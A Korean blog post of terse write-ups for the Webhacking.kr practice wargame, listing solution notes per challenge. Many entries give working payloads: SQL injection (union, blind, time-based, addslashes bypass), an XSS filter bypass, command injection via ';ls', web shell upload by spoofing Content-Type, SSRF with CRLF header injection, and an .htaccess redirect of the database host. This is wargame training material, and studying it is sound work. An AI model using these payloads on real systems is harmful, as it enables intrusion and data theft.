[(구)Webhacking.kr] write-ups

yoobi·2022년 5월 31일
0
post-thumbnail

old-15 / 5pts

풀이 : response 시 날아오는 js 코드에 location.href가 존재하므로 이를 삭제하여 접근해준다

old-06 / 10pts

풀이 : 사용자의 쿠키 값을 계속 replace하여 바꾸고 base64 인코딩한다. 이를 반대로 계산하여 admin, nimda가 되게 만들면 끝

old-14 / 10pts

풀이 : function ck(), if(ul==pw.input_pwd.value)에 만족하는 값 넣어주면 끝

old-16 / 10pts

풀이 : if(cd==124) location.href=String.fromCharCode(cd)+".php"; // do it! 에 만족하는 | 입력하면 끝

old-17 / 10pts

풀이 : console.log(unlock) 확인 후 출력해서 입력해주면 끝

old-18 / 10pts

풀이 : 0%09or%09no=2, %20 필터링 %09로 우회하면 끝

old-24 / 10pts

풀이 : 쿠키 변경해서 필터링 우회하면 끝

old-38 / 10pts

풀이 : guest 후 개행하여 ip:admin 작성하면 문제 해결조건 달성 가능

old-39 / 10pts

풀이 : id='{$_POST['id']}" 마지막에 싱글쿼터 하나가 누락되어있다 하지만 싱글쿼터는 입력 시 두개로 치환된다. substr을 통해 15 bytes만 입력하고 있으므로 16 bytes부터는 끊기는 점을 이용하여 입력하면 끝

old-54 / 10pts

풀이 : aview.innerHTML=x.responseText; 로 인해 문자가 계속 바뀌므로 aview.innerHTML+=x.responseText; 로 바꾸어 문자가 계속 추가되게 변경하고 실행하면 끝

old-19 / 15pts

풀이 : simple SQLi 문제, admin'-- 입력하면 끝

old-25 / 15pts

풀이 : php wrapper을 통해 php 파일 내용을 읽는 문제

old-27 / 15pts

풀이 : SQLi 문제인데, = 필터링, like로 우회 가능, --사용 시 뒤에 공백 or NULL 필요, %20, %09, %00 등

  • payload : -1)%09or%09no%09like%092--%09

old-31 / 15pts

풀이 : 10000~10100 중 랜덤 포트로 연결하므로, 10000으로 redirection 시켜고 포트 열고 기다리면 끝

old-31 / 15pts

풀이 : burp intruder로 cookie 값 제거한 request 패킷 100번 전송하면 끝

old-47 / 15pts

풀이 : 메일을 보내는 서비스 인 듯한데, data에 Cc: id@email.com을 추가하여 참조를 강제로 더해주면 끝

old-58 / 15pts

풀이 : command를 실행할 수 있는데, 주어진 사이트에서는 guest로 실행된다. flag는 admin으로 실행해야한다고 나오므로 js 코드의 guest 부분을 admin으로 바꿔치기해서 console로 실행해주면 끝

old-01 / 20pts

풀이 : $_COOKIE['user_lv']을 3 보다 큰 수를 줘야하지만, 4 이상의 수는 줄 수 없다. 3.1 주면 끝

old-20 / 20pts

풀이 : 2초 안에 옳바른 captcha 값을 읽고 submit해야하는 문제이다. js 코드 만들어놓고 새로고침 후 바로 제출하여 해결

lv5frm.id.value="yoobi";
lv5frm.cmt.value="yoobi";
lv5frm.captcha.value=lv5frm.captcha_.value;
lv5frm.submit();

old-23 / 20pts

풀이 : eregi 함수 우회 payload : <s%00c%00r%00i%00p%00t>a%00l%00e%00r%00t(1);</s%00c%00r%00i%00p%00t>

old-33 / 20pts

풀이 : 다양한 get, post, cookie, remote_ip, php 등등 하나씩 통과하는 문제

old-36 / 20pts

풀이 : vi 사용 중 정상적인 종료를 하지 않는 경우 생성되는 .index.php.swp과 같은 파일의 존재를 묻는 문제, 파일 내에 FLAG 존재 (공격 시 활용 가능)

old-42 / 20pts

풀이 : 파일다운로드 취약점 문제이다. 파일명을 그대로 사용하지는 않지만 base64 인코딩한 값으로 파일을 다운로드하므로, 다운로드 권한이 없는 파일을 다운할 수 있고 그 안에 FLAG 존재한다

old-59 / 20pts

풀이 :
"insert into chall59 values('{$_POST['id']}',{$_POST['phone']},'guest')" 와 같이 insert 하는 상황에서
reverse(id)를 활용하여 뒤의 'guest'가 아닌 'admin' 권한의 계정을 추가하는 문제
"insert into chall59 values('nimda',1, reverse(id))-- ,'guest')"

old-61 / 20pts

풀이 : id=0x61646D696E id 를 입력해주면 끝, 싱글쿼터 사용이 불가능하기 때문에, admin 은 0x61646d696e로 나타낼 수 있고, admin as id 와 같이 작성하면 id 칼럼의 이름을 admin이라는 별칭으로 select 결과가 return되게 된다. 따라서 $result['id'] == "admin"을 만족하게된다.

old-10 / 25pts

풀이 : style로 작성되어진 코드를 우회하는 문제이다

old-12 / 25pts

풀이 : aaencode로 인코딩된 js 코드이다. js는 정말 많은 obfuscator가 있는 것 같다. 복호화한 js 코드를 보면 간단하게 풀 수 있다.

old-21 / 25pts

풀이 : password를 찾으면 되는 blind SQL

old-37 / 25pts

풀이 : flag를 읽어서 보내주는 bot이 존재한다. 타이밍에 맞게 파일이름을 줘서 업로드하면 flag를 보내준다

old-41 / 25pts

풀이 : 에러메시지를 활용하여 파일이 업로드되는 위치를 파악해보는 문제, 웹쉘 업로드 후 실행하기 위헤선 path를 알아야 하기에 이를 묻는 것 같다

old-43 / 25pts

풀이 : 웹쉘 업로드 문제이다. php 파일은 wrong type을 돌려준다. burp로 잡아서 Content-Type: 값을 image/png 등 통과가 가능한 값으로 변경하여 올려주면 끝

old-51 / 25pts

풀이 : md5() 함수를 사용하므로서 비밀번호 검증을 진행하려고 하지만, md5($_POST['pw'], true); 와 같이 2번 째 인자로 true를 주면 md5로 암호화된 값이 문자열 형태로 존재하게 된다. 이 때, or 1=1과 같이 공격이 가능한 형태의 문자열이 되는 md5 값을 찾아서 pw로 입력해주면 SQLi가 터진다.

old-56 / 25pts

풀이 : search는 게시글의 내용을 검색하는 서비스이므로 blind SQLi로 FLAG 값을 추출할 수 있다

old-04 / 30pts

풀이 : $hash = rand(10000000, 99999999)."salt_for_you"; 를 우회하는 문제이다. rainbowtable을 만들고 탐색해서 rand() 값을 찾아서 제출하면 끝

old-05 / 30pts

풀이 : join.php를 access 하면 bye 가 뜨는데, js로 관리하고 있으므로 response 패킷 수정하여 bypass 한다. 그 후, admin/admin 으로 가입하면 이미 존재한다고 나오는데, +admin/admin 은 정상적으로 가입이 된다. 로그인 하면 끝

old-07 / 30pts

풀이 : SQLi 문제이다. preg_match를 bypass하고 $data[0]==2 를 만족하면된다.

  • payload : 0)union(select(char(50)))%23

old-11 / 30pts

풀이 : $pat="/[1-3][a-f]{5}_.*$_SERVER[REMOTE_ADDR].*\tp\ta\ts\ts/"; 와 preg_match($pat,$_GET['val'])를 만족시키는 문제이다.

  • payload : ?val=1aaaaa_127.0.0.1%09p%09a%09s%09s

old-46 / 30pts

풀이 : "select id,cash from chall46 where lv=$_GET[lv]" 하는데, $result['id'] == "admin"은 만족하여야 한다. 그 외에도 띄어쓰기 불가 등 짜잘한 필터링이 존재한다.

  • payload : ?lv=0||id=char(97,100,109,105,110)

old-49 / 30pts

풀이 : old-46에서 필터링이 추가되어 () 사용이 불가능하다.

  • payload : ?lv=0||id=0x61646d696e

old-60 / 30pts

풀이 : 쿠키 값 수정 문제인데 sleep(1)이 있어서 race condition 활용하여 solve()

old-03 / 35pts

풀이 : 처음에 간단한 퍼즐을 풀면, name을 입력하라고 하는데, 소스보기로 확인하면 hidden answer이 존재한다. 임의의 값이 들어있는데, 1' or '1'='1 로 SQLi 하면 끝

old-08 / 35pts

풀이 :

$agent=trim(getenv("HTTP_USER_AGENT"));

// Set User-Agent : test','127.0.0.1','admin')#

if(!$ck){
  $q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
  echo("<br><br>done!  ({$count_ck[0]}/70)");
}

// Set User-Agent : test
$result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
$ck = mysqli_fetch_array($result);

if($ck){
  echo "hi <b>".htmlentities($ck[0])."</b><p>";
  if($ck[0]=="admin"){
    mysqli_query($db,"delete from chall8");
    solve(8);
  }
}

old-35 / 35pts

풀이 :

"insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']})"

values(1,1,1) -> values(1,1,1),(2,2,2) 가능

따라서 phone : 1),('admin','183.107.116.68','2'

old-48 / 35pts

풀이 : 메모와 함께 파일을 업로드할 수 있다. 이때, 파일을 삭제하면 rm "파일명" 형태로 명령어가 실행되기 때문에, 파일명을 ;ls -al로 주면 RCE가 터진다.

old-53 / 35pts

풀이 : $hidden_table 이 존재해서 table 값을 알아내는 문제이다. ?val=a procedure analyse()로 현재 사용되고 있는 컬럼에 대한 정보를 알 수 있다.

  • payload : ?answer=chall53_755fdeb36d873dfdeb2b34487d50a805

old-29 / 40pts

풀이 :

# check SQLi
a.png',1234,'183.107.116.68')#
# result : 1970-01-01 09:20:34	|	183.107.116.68	|	a.png

# get DB info
a.png',1234,'183.107.116.68'),(database(),1234,'183.107.116.68')#
# result : 1970-01-01 09:20:34	|	183.107.116.68	|	chall29

# get table name
a.png',1234,'183.107.116.68'),((select group_concat(table_name) from information_schema.tables where table_schema='chall29' ),1234,'183.107.116.68')#
# result : 1970-01-01 09:20:34	|	183.107.116.68	|	files,flag_congratz

# get FLAG
a.png',1234,'183.107.116.68'),((select * from flag_congratz),1234,'183.107.116.68')#
# result : 1970-01-01 09:20:34	|	183.107.116.68	|	FLAG{didYouFeelConfused?_sorry:)}

old-34 / 40pts

풀이 : 복잡한 js 코드가 주어진다. location[b('0x1c','4c%d')]=b('0x1d','llaF') -> ./?Passw0RRdd=1

old-52 / 40pts

풀이 : proxy.php는 page 를 받아서 서버가 request를 실행하고 사용자에게 parsing 해주는 서비스로 보인다. REMOTE_ADDR을 필터링하고 있는데 proxy.php 서비스를 통해 실행이 가능하다 (SSRF)

Request
GET /admin/ HTTP/1.1
Host: webhacking.kr:10008
Cookie: PHPSESSID=nqa0hkqsrbiuu9g62asjpp5q8d
Connection: Close

 HTTP/1.1
Host: webhacking.kr:10008
Connection: Close
  • payload : ?page=/admin/%20HTTP/1.1%0d%0aHost:%20webhacking.kr:10008%0d%0aCookie:%20PHPSESSID=nqa0hkqsrbiuu9g62asjpp5q8d%0d%0aConnection:%20Close%0d%0a%0d%0a

old-55 / 40pts

풀이 : blind SQLi 문제, substr()이 사용이 안되므로 left(), right()를 사용해서 돌리면 끝

old-50 / 45pts

풀이 : if($result['lv']=="3")를 만족시켜야 한다. 다양한 필터링을 우회하고, addslashes()는 (%a1 ~ %fe)로 우회한다. id/* pw*/를 주어서 사이 값들을 주석처리 할 수 있다. table에 있는 값 중에 id=3은 없지만 조건을 만족시켜야 하기 때문에 union을 사용한다.

  • payload : ?id=%bf%27/*&pw=*/union%09select%093%23

old-02 / 50pts

풀이 : blind SQLi , cookie time 값 -> true : ~09:00:00 , false : ~09:00:00 를 활용하면 된다

old-22 / 50pts

풀이 : blind SQLi, admin 비밀번호 구하기 -> true : Wrong Password , false : Login Fail! 를 활용하면 된다

old-28 / 50pts

풀이 : .htaccess 파일에 php_flag engine off 내용을 입력하고 업로드하여 적용시켜서 flag.php 내부 코드를 읽으면 끝

old-40 / 50pts

풀이 : blind SQLi, admin 비밀번호 구하기 -> true : Success , false : Failure 를 활용하면 된다

old-44 / 50pts

풀이 : command injection 문제, system("echo 'hello! {$id}'");

  • payload : ';ls'

old-30 / 55pts

풀이 : chall30 db가 존재하는지 확인하고, select flag from chall30_answer 한 값이 존재하면 include "/flag"; 한다. 따라서 개인서버를 열어주고 .htacces 파일을 업로드해서 준비한 서버로 연결하게 하면 끝

php_value mysqli.default_host "ip:port"
php_value mysqli.default_user "id"
php_value mysqli.default_pw "pw"

old-45 / 55pts

풀이 : addslashes() -> (%a1~%fe) , admin/= filter -> 0x61646D696E

  • payload : ?id=1%a1%27 or id like 0x61646D696E%23&pw=guest

old-57 / 60pts

풀이 : Time Based SQLi,

  • key : if(length(pw)>0,sleep(3.0),1)

old-09 / 90pts

풀이 : blind SQL,

  • key : ?no=if(length(database())like(10),1,99)

old-13 / 100pts

풀이 : blind SQL

profile
this is yoobi

0개의 댓글